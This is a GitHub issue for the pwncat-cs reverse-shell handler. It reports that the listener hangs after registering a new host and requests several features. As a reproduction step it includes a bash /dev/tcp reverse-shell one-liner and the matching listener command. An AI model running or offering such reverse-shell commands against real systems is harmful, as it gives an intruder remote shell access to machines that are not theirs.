pwncat icon indicating copy to clipboard operation
pwncat copied to clipboard

pwncat-cs stuck at "registered new host w/ db"

Open SkyperTHC opened this issue 5 months ago • 0 comments

Alice:

pwncat-cs -lp 31337
/usr/venvs/pwncat-cs/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[08:50:09] Welcome to pwncat 🐈!                                                                          __main__.py:164
[08:52:43] received connection from 185.117.118.21:54670                                                       bind.py:84
[08:52:45] 185.117.118.21:54670: registered new host w/ db                                                 manager.py:957


<---  I expect the pwncat-cs (local) or (remote) prompt here but it does not show. It remains
stuck here until Alice presses CTRL-c.

Bob:

bash -i &>/dev/tcp/127.0.0.1/31337  0>&1

The only way to proceed is for Alice to type CTRL-c:

[08:56:49] warning: cancelled by user                                                                      manager.py:957
(local) pwncat$

I'm sorry for the short bug report. I am to busy to sink time into debugging this and I hope you will find the bug.

Alice works fine for reverse shells from some remote systems but for other remote systems (like Bob above), Alice gets stuck at "registered new host w/ db".


Sorry for this ad-hoc feature requests:

  1. disable db (never add an entry to the db).
  2. Alice to drop straight into remote shel (skip "(local)").
  3. Auto detect if the reverse connection is SSL or raw TCP (non-ssl)

thanks for your great work and sorry again for this short bug report.

SkyperTHC avatar Jan 22 '24 09:01 SkyperTHC